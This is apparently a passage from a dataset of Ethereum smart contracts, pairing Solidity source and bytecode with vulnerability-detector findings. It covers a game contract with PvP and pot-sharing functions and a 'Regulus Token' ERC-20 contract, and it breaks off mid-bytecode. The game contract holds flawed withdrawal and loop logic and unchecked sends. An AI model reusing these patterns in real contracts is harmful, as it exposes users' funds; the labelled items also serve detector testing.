PVPData storage pvp = pvpMap[msg.sender]; MinerData storage m = miners[msg.sender]; uint256 owned = pvp.troops[idx]; uint256 priceGold = NumericSequence.sumOfN(troopData[idx].priceGold, troopData[idx].priceGold, owned, count); uint256 priceETH = (troopData[idx].priceETH).mul(count); UpdateMoney(); require(m.money >= priceGold); require(msg.value >= priceETH); if(priceGold > 0) m.money -= priceGold; if(msg.value > 0) BuyHandler(msg.value); pvp.troops[idx] += count; } function Attack(address defenderAddr) external { require(msg.sender != defenderAddr); require(miners[msg.sender].lastUpdateTime != 0); require(miners[defenderAddr].lastUpdateTime != 0); PVPData storage attacker = pvpMap[msg.sender]; PVPData storage defender = pvpMap[defenderAddr]; uint i = 0; uint256 count = 0; require(block.timestamp > attacker.exhaustTime); require(block.timestamp > defender.immunityTime); // the aggressor loses immunity if(attacker.immunityTime > block.timestamp) attacker.immunityTime = block.timestamp - 1; attacker.exhaustTime = block.timestamp + 7200; uint256 attackpower = 0; uint256 defensepower = 0; for(i = 0; i < ATTACKER_END_IDX; ++i) { attackpower += attacker.troops[i] * troopData[i].attackPower; defensepower += defender.troops[i + DEFENDER_START_IDX] * troopData[i + DEFENDER_START_IDX].defensePower; } if(attackpower > defensepower) { if(defender.immunityTime < block.timestamp + 14400) defender.immunityTime = block.timestamp + 14400; UpdateMoneyAt(defenderAddr); MinerData storage m = miners[defenderAddr]; MinerData storage m2 = miners[msg.sender]; uint256 moneyStolen = m.money / 2; for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i) { defender.troops[i] = 0; } for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i) { if(troopData[i].attackPower > 0) { count = attacker.troops[i]; // if the troops overpower the total defense power only a fraction is lost if((count * troopData[i].attackPower) > defensepower) count = defensepower / troopData[i].attackPower; attacker.troops[i] -= count; defensepower -= count * troopData[i].attackPower; } } m.money -= moneyStolen; m2.money += moneyStolen; } else { for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i) { attacker.troops[i] = 0; } for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i) { if(troopData[i].defensePower > 0) { count = defender.troops[i]; // if the troops overpower the total defense power only a fraction is lost if((count * troopData[i].defensePower) > attackpower) count = attackpower / troopData[i].defensePower; defender.troops[i] -= count; attackpower -= count * troopData[i].defensePower; } } } } //-------------------------------------------------------------------------- // ICO/Pot share functions //-------------------------------------------------------------------------- function ReleaseICO() external { require(miners[msg.sender].lastUpdateTime != 0); require(nextPotDistributionTime <= block.timestamp); require(honeyPotAmount > 0); require(globalICOPerCycle[cycleCount] > 0); nextPotDistributionTime = block.timestamp + 86400; honeyPotPerCycle[cycleCount] = honeyPotAmount / 5; // 20% of the pot honeyPotAmount -= honeyPotAmount / 5; honeyPotPerCycle.push(0); globalICOPerCycle.push(0); cycleCount = cycleCount + 1; MinerData storage jakpotWinner = miners[msg.sender]; jakpotWinner.unclaimedPot += jackPot; jackPot = 0; } function FundICO(uint amount) external { require(miners[msg.sender].lastUpdateTime != 0); require(amount > 0); MinerData storage m = miners[msg.sender]; UpdateMoney(); require(m.money >= amount); m.money = (m.money).sub(amount); globalICOPerCycle[cycleCount] = globalICOPerCycle[cycleCount].add(uint(amount)); minerICOPerCycle[msg.sender][cycleCount] = minerICOPerCycle[msg.sender][cycleCount].add(uint(amount)); } function WithdrawICOEarnings() external { MinerData storage m = miners[msg.sender]; require(miners[msg.sender].lastUpdateTime != 0); require(miners[msg.sender].lastPotClaimIndex < cycleCount); uint256 i = m.lastPotClaimIndex; uint256 limit = cycleCount; if((limit - i) > 30) // more than 30 iterations(days) afk limit = i + 30; m.lastPotClaimIndex = limit; for(; i < cycleCount; ++i) { if(minerICOPerCycle[msg.sender][i] > 0) m.unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[msg.sender][i]) / globalICOPerCycle[i]; } } //-------------------------------------------------------------------------- // ETH handler functions //-------------------------------------------------------------------------- function BuyHandler(uint amount) private { // add 90% to honeyPot honeyPotAmount += (amount * honeyPotSharePct) / 100; jackPot += amount / 100; devFund += (amount * (100-(honeyPotSharePct+1))) / 100; } function WithdrawPotShare() public { MinerData storage m = miners[msg.sender]; require(m.unclaimedPot > 0); require(m.lastUpdateTime != 0); uint256 amntToSend = m.unclaimedPot; m.unclaimedPot = 0; if(msg.sender.send(amntToSend)) { m.unclaimedPot = 0; } } function WithdrawDevFunds() public { require(msg.sender == owner); if(owner.send(devFund)) { devFund = 0; } } // fallback payment to pot function() public payable { devFund += msg.value; } }
0x6060604052600436106101485763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630116bfc08114610152578063036a66eb1461015f5780631fd86a6a1461019057806333ad9495146101a65780633a70eabd146101b957806356a4e7f9146101d85780635b1fef12146102035780636e4dd931146102795780638357417d146102b7578063996f7602146102ca5780639f0eed0f146102dd578063af299510146102f0578063b4b9cd6214610323578063b4beff8a14610343578063b4e6f92b14610389578063badb2e5a14610397578063bc346c9c146103a8578063bd1f7d52146103c7578063cb68780f14610420578063cc0f65f714610436578063d291fa81146104ea578063d511beec1461051c578063dee8bd511461052f578063f362b9af14610542578063fdade29f14610555575b604e805434019055005b61015d60043561055d565b005b341561016a57600080fd5b61017e600160a060020a036004351661068d565b60405190815260200160405180910390f35b341561019b57600080fd5b61015d60043561071f565b34156101b157600080fd5b61015d610849565b34156101c457600080fd5b61017e600160a060020a03600435166108c8565b34156101e357600080fd5b6101eb6109d1565b60405191825260208201526040908101905180910390f35b341561020e57600080fd5b610222600160a060020a0360043516610a37565b6040518086815260200185815260200184815260200183815260200182600660200280838360005b8381101561026257808201518382015260200161024a565b505050509050019550505050505060405180910390f35b341561028457600080fd5b61028c610b03565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34156102c257600080fd5b61015d610b17565b34156102d557600080fd5b61017e610b6d565b34156102e857600080fd5b61017e610b73565b34156102fb57600080fd5b61030f600160a060020a0360043516610b7a565b604051901515815260200160405180910390f35b341561032e57600080fd5b61015d60ff6004351661ffff60243516610bcb565b341561034e57600080fd5b610365600160a060020a0360043516602435610d61565b60405180848152602001838152602001828152602001935050505060405180910390f35b61015d600435602435610e82565b61015d60ff60043516602435610fb7565b34156103b357600080fd5b61015d600160a060020a0360043516611135565b34156103d257600080fd5b6103da6114d0565b604051808460a080838360005b838110156103ff5780820151838201526020016103e7565b50505050905001838152602001828152602001935050505060405180910390f35b341561042b57600080fd5b6101eb600435611535565b341561044157600080fd5b610455600160a060020a036004351661159e565b6040518089815260200188815260200187815260200186600960200280838360005b8381101561048f578082015183820152602001610477565b5050505090500185600360200280838360005b838110156104ba5780820151838201526020016104a2565b50505050905001848152602001831515151581526020018281526020019850505050505050505060405180910390f35b34156104f557600080fd5b6105006004356116e8565b604051600160a060020a03909116815260200160405180910390f35b341561052757600080fd5b61015d611715565b341561053a57600080fd5b61015d611840565b341561054d57600080fd5b61015d61195d565b61015d611a0d565b6003811061056a57600080fd5b602d816003811061057757fe5b6002020160010154341015151561058d57600080fd5b600160a060020a0333166000908152605b6020526040902060090181600381106105b357fe5b602081049091015460ff601f9092166101000a900416156105d357600080fd5b600160a060020a0333166000908152605b60205260409020600b015415156105fa57600080fd5b61060334611b6d565b61060b611ba0565b600160a060020a0333166000908152605b60205260409020600190600901826003811061063457fe5b602091828204019190066101000a81548160ff021916908360ff160217905550602d8160038110151561066357fe5b6002020154600160a060020a0333166000908152605b60205260409020600c018054909101905550565b600160a060020a0381166000908152605b60205260408120600c810154606401826106b785610b7a565b156106c4576101f4820191505b5060005b600960ff8216101561071057600060ff8216600981106106e457fe5b6005020160010154836000018260ff1660098110151561070057fe5b01540293909301926001016106c8565b60648483020495945050505050565b600160a060020a0333166000908152605b60205260408120600b0154151561074657600080fd5b6000821161075357600080fd5b50600160a060020a0333166000908152605b60205260409020610774611ba0565b600a8101548290101561078657600080fd5b600a81015461079b908363ffffffff611c4316565b600a820155605354605280546107ce9285929181106107b657fe5b6000918252602090912001549063ffffffff611c5816565b60526053548154811015156107df57fe5b6000918252602080832090910192909255600160a060020a03331681526050825260408082206053548352909252205461081f908363ffffffff611c5816565b600160a060020a033316600090815260506020908152604080832060535484529091529020555050565b600160a060020a0333166000908152605b60205260408120600d81015490919081901161087557600080fd5b600b820154151561088557600080fd5b50600d810180546000909155600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050156108c4576000600d8301555b5050565b600160a060020a0381166000908152605b60205260408120600b8101548290819015156108f457600080fd5b605354600e8401541061090657600080fd5b5050600e810154605354601e82820311156109215750601e81015b600093505b6053548210156109c957600160a060020a033316600090815260506020908152604080832085845290915281205411156109be57605280548390811061096857fe5b6000918252602080832090910154600160a060020a038816835260508252604080842086855290925291205460518054859081106109a257fe5b906000526020600020900154028115156109b857fe5b04840193505b816001019150610926565b505050919050565b60008080805b605e54821015610a3157506000818152605d6020818152604080842054600160a060020a0316808552605b8352908420600a81015494869052929091529490910193610a229061068d565b830192508160010191506109d7565b50509091565b600080600080610a45611d81565b600160a060020a0386166000908152605c60205260408120600681015460078201549297508796509450909250845b6006811015610af85760338160068110610a8a57fe5b6004020154828260068110610a9b57fe5b015402969096019560338160068110610ab057fe5b60040201600101548260000182600681101515610ac957fe5b0154029590950194818160068110610add57fe5b0154838260068110610aeb57fe5b6020020152600101610a74565b505091939590929450565b604b54604e54604d54604f54929391929091565b605f5433600160a060020a03908116911614610b3257600080fd5b605f54604e54600160a060020a039091169080156108fc0290604051600060405180830381858888f1935050505015610b6b576000604e555b565b605e5490565b6053545b90565b6000805b6005811015610bc057600160a060020a03831660568260058110610b9e57fe5b0154600160a060020a03161415610bb85760019150610bc5565b600101610b7e565b600091505b50919050565b600080600960ff851610610bde57600080fd5b600061ffff841611610bef57600080fd5b61010061ffff84161115610c0257600080fd5b600160a060020a0333166000908152605b60205260409020915061ffff83168260ff861660098110610c3057fe5b015401600060ff861660098110610c4357fe5b600502016004015410151515610c5857600080fd5b610c60611ba0565b610cb0600060ff861660098110610c7357fe5b6005020154600060ff871660098110610c8857fe5b6005020160020154846000018760ff16600981101515610ca457fe5b01548661ffff16611c6e565b90508082600a015410151515610cc557600080fd5b61ffff83168260ff861660098110610cd957fe5b0154018260ff861660098110610ceb57fe5b0155600060ff851660098110610cfd57fe5b6005020160040154826000018560ff16600981101515610d1957fe5b01541115610d5057600060ff851660098110610d3157fe5b6005020160040154826000018560ff16600981101515610d4d57fe5b01555b600a90910180549190910390555050565b60008060006053548411151515610d7757600080fd5b600160a060020a0385166000908152605060209081526040808320878452909152902054605354909350841015610e0e576052805485908110610db657fe5b6000918252602080832090910154600160a060020a03881683526050825260408084208885529092529120546051805487908110610df057fe5b90600052602060002090015402811515610e0657fe5b049150610e5d565b6052805485908110610e1c57fe5b6000918252602080832090910154600160a060020a0388168352605082526040808420888552909252912054604b546005900402811515610e5957fe5b0491505b50600160a060020a039093166000908152605b60205260409020600e01549093909150565b60008080808060068710610e9557600080fd5b60008611610ea257600080fd5b6103e8861115610eb157600080fd5b600160a060020a0333166000908152605c60209081526040808320605b9092529091209095509350848760068110610ee557fe5b01549250610f1f60338860068110610ef957fe5b6004020160020154603389600681101515610f1057fe5b60040201600201548589611c6e565b9150610f488660338960068110610f3257fe5b6004020160030154611cb990919063ffffffff16565b9050610f52611ba0565b600a84015482901015610f6457600080fd5b3481901015610f7257600080fd5b6000821115610f8757600a8401805483900390555b6000341115610f9957610f9934611b6d565b85858860068110610fa657fe5b018054909101905550505050505050565b600080600960ff851610610fca57600080fd5b60008311610fd757600080fd5b610100831115610fe657600080fd5b60008060ff861660098110610ff757fe5b600502016003015411151561100b57600080fd5b600160a060020a0333166000908152605b602052604090209150828260ff86166009811061103557fe5b015401600060ff86166009811061104857fe5b60050201600401541015151561105d57600080fd5b61108783600060ff87166009811061107157fe5b6005020160030154611cb990919063ffffffff16565b9050348190101561109757600080fd5b6110a034611b6d565b6110a8611ba0565b828260ff8616600981106110b857fe5b0154018260ff8616600981106110ca57fe5b0155600060ff8516600981106110dc57fe5b6005020160040154826000018560ff166009811015156110f857fe5b0154111561112f57600060ff85166009811061111057fe5b6005020160040154826000018560ff1660098110151561112c57fe5b01555b50505050565b600080600080600080600080600089600160a060020a031633600160a060020a03161415151561116457600080fd5b600160a060020a0333166000908152605b60205260409020600b0154151561118b57600080fd5b600160a060020a038a166000908152605b60205260409020600b015415156111b257600080fd5b600160a060020a033381166000908152605c6020526040808220928d16825281206007830154929b509950975087965042116111ed57600080fd5b600688015442116111fd57600080fd5b428960060154111561121457600019420160068a01555b611c20420160078a0155600096508694508493505b6003871015611299576033876006811061123f57fe5b600402015489886006811061125057fe5b01540294909401936033600388016006811061126857fe5b600402016001015488600001600360ff16890160068110151561128757fe5b01540284019350866001019650611229565b838511156113e2574261384001886006015410156112bc57613840420160068901555b6112c58a611cde565b505050600160a060020a038781166000908152605b60205260408082203390931682529020600a82015460039650600290045b600687101561131c57600088886006811061130f57fe5b01556001909601956112f8565b600096505b60038710156113c95760006033886006811061133957fe5b600402015411156113be5788876006811061135057fe5b01549550836033886006811061136257fe5b60040201548702111561138f576033876006811061137c57fe5b60040201548481151561138b57fe5b0495505b8589886006811061139c57fe5b018054919091039055603387600681106113b257fe5b60040201548602909303925b866001019650611321565b600a8084018054839003905582018054820190556114c4565b600096505b600387101561140b5760008988600681106113fe57fe5b01556001909601956113e7565b600396505b60068710156114c45760006033886006811061142857fe5b600402016001015411156114b95787876006811061144257fe5b01549550846033886006811061145457fe5b600402016001015487021115611487576033876006811061147157fe5b60040201600101548581151561148357fe5b0495505b8588886006811061149457fe5b018054919091039055603387600681106114aa57fe5b60040201600101548602850394505b866001019650611410565b50505050505050505050565b6114d8611da8565b600080805b600581101561152557605681600581106114f357fe5b0154600160a060020a031684826005811061150a57fe5b600160a060020a0390921660209290920201526001016114dd565b6055549250605454915050909192565b600080605354831115151561154957600080fd5b605280548490811061155757fe5b906000526020600020900154915060535483101561159057605180548490811061157d57fe5b9060005260206000209001549050611599565b50604b54600590045b915091565b60008060006115ab611dd0565b6115b3611deb565b600160a060020a0386166000908152605b60205260408120600a810154600b9091015490965094508080806115e78a61068d565b9650600090505b600960ff8216101561163e57600160a060020a038a166000908152605b6020526040902060ff82166009811061162057fe5b01548660ff83166009811061163157fe5b60200201526001016115ee565b5060005b600360ff821610156116aa57600160a060020a038a166000908152605b6020526040902060090160ff82166003811061167757fe5b602081049091015460ff601f9092166101000a9004811690869083166003811061169d57fe5b6020020152600101611642565b600160a060020a038a166000908152605b60205260409020600d015493506116d18a610b7a565b925087420387028901915050919395975091939597565b605e5460009082106116f957600080fd5b506000908152605d6020526040902054600160a060020a031690565b600160a060020a0333166000908152605b60205260408120600b8101549091908190151561174257600080fd5b605354600160a060020a0333166000908152605b60205260409020600e01541061176b57600080fd5b5050600e810154605354601e82820311156117865750601e81015b600e83018190555b60535482101561183b57600160a060020a033316600090815260506020908152604080832085845290915281205411156118305760528054839081106117d057fe5b6000918252602080832090910154600160a060020a0333168352605082526040808420868552909252912054605180548590811061180a57fe5b9060005260206000209001540281151561182057fe5b600d850180549290910490910190555b81600101915061178e565b505050565b600160a060020a0333166000908152605b60205260408120600b0154151561186757600080fd5b604f544290111561187757600080fd5b604b546000901161188757600080fd5b6000605260535481548110151561189a57fe5b600091825260209091200154116118b057600080fd5b620151804201604f55604b546005900460516053548154811015156118d157fe5b600091825260209091200155604b8054600581049003905560518054600181016118fb8382611e05565b50600091825260208220015560528054600181016119198382611e05565b506000918252602080832091909101829055605380546001019055600160a060020a0333168252605b905260408120604d8054600d90920180549092019091555550565b600160a060020a0333166000908152605b60205260409020600b01541561198357600080fd5b33600160a060020a03166000818152605b6020908152604080832042600b8201819055600a82018590556001808355600d8301869055605354600e90930192909255605c84528285206170808201600682015560070155605e80548552605d9093529220805473ffffffffffffffffffffffffffffffffffffffff19169093179092558154019055565b60008060006055543410151515611a2357600080fd5b600160a060020a0333166000908152605b60205260409020600b01541515611a4a57600080fd5b600092505b6005831015611a9057600160a060020a03331660568460058110611a6f57fe5b0154600160a060020a03161415611a8557600080fd5b826001019250611a4f565b60545460569060058110611aa057fe5b0154600160a060020a03166000818152605b60205260409020600d81018054612710346124bb810291909104909101909155604b8054614e20610255909302929092049182019055604e8054909101905560558054601481040190559092509050611b09611ba0565b611b1282611cde565b336056605454600581101515611b2457fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560548054600101908190556005901061183b576000605455505050565b604c54604b80546064848402819004909101909155604d8054828504019055604e80549282036000190190930204019055565b600160a060020a0333166000908152605b60205260408120600b0154819081901515611bcb57600080fd5b600160a060020a0333166000908152605b60205260409020600b0154421015611bf357600080fd5b33600160a060020a0381166000908152605b60205260409020600b81015490945042039250611c219061068d565b42600b8501559050600081111561183b57600a92909201805491909202019055565b600082821115611c5257600080fd5b50900390565b81810182811015611c6857600080fd5b92915050565b6000808211611c7c57600080fd5b506000611c8d848402860183611cb9565b016002611ca483600019810163ffffffff611cb916565b8502811515611caf57fe5b0401949350505050565b818102821580611cd35750818382811515611cd057fe5b04145b1515611c6857600080fd5b600160a060020a0381166000908152605b60205260408120600b0154819081901515611d0957600080fd5b600160a060020a0384166000908152605b60205260409020600b0154421015611d3157600080fd5b600160a060020a0384166000908152605b60205260409020600b81015490935042039150611d5e8461068d565b42600b8501559050600081111561112f57600a9290920180549190920201905550565b60c06040519081016040526006815b6000815260200190600190039081611d905790505090565b60a06040519081016040526005815b600081526000199091019060200181611db75790505090565b61012060405190810160405260008152600860208201611d90565b606060405190810160405260008152600260208201611d90565b81548183558181151161183b5760008381526020902061183b918101908301610b7791905b80821115611e3e5760008155600101611e2a565b50905600a165627a7a72305820f45f9d4e7710fd6422915178a1e8ee9ae24ecf862710f5bb78d4b073302441540029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
267
0xc25cb249d4f6b8f2e69f58703f03e76523b081b0
pragma solidity ^0.4.23; /* * Creator: RGLS (Regulus Token) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * Regulus Token smart contract. */ contract RGLSToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 60000000 * (10**18); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function RGLSToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "Regulus Token"; string constant public symbol = "RGLS"; uint8 constant public decimals = 18; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae3565b005b34801561043c57600080fd5b50610445610d03565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3c565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc8565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4f565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600d81526020017f526567756c757320546f6b656e0000000000000000000000000000000000000081525081565b6000806106ed3385610dc8565b14806106f95750600082145b151561070457600080fd5b61070e8383610fb0565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b6108448484846110a2565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673fffffff